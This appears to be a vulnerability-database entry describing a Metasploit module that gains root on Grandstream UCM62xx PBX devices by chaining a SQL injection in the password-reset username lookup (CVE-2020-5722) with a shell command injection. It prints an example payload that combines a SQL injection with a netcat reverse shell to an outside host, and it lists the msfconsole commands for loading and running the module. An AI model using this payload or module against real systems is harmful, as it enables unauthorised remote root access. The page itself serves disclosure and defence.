This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root.
Exploitation happens in two stages:
1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so:
/bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
This module affect UCM62xx versions before firmware version 1.0.19.20.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/grandstream/ucm62xx_sendemail_rcemsf undefined(ucm62xx_sendemail_rce) > show actions ...actions...msf undefined(ucm62xx_sendemail_rce) > set ACTION < action-name >msf undefined(ucm62xx_sendemail_rce) > show options ...show and set options...msf undefined(ucm62xx_sendemail_rce) > runWith curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
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